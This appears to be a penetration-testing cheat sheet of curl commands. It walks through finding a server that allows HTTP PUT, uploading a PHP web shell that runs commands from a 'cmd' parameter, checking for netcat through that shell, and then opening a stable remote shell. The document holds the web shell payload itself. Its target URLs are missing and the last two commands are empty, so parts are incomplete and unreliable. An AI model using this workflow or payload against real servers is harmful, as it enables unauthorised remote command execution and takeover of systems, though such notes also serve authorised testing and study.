Curl Commands

Get base64 encoding back for an HTML page:

  • curl

Check Page Header:

  • curl -k -I

Enumerate HTTP methods (we want to find PUT method):

  • curl -v -X OPTIONS

Place File (Requires PUT method):

  • curl -v -X PUT -d “Testing 1 2 3”

Place PHP Shell File(Requires PUT Method):

  • curl -v -X PUT -d ‘<?php system($_GET[“cmd”]); ?>’

Use PHP shell to issue ‘which nc’ command to determine if netcat is installed and php shell functioning:

  • curl “”

Establish a stable shell with netcat using the PHP shell:

  • curl “”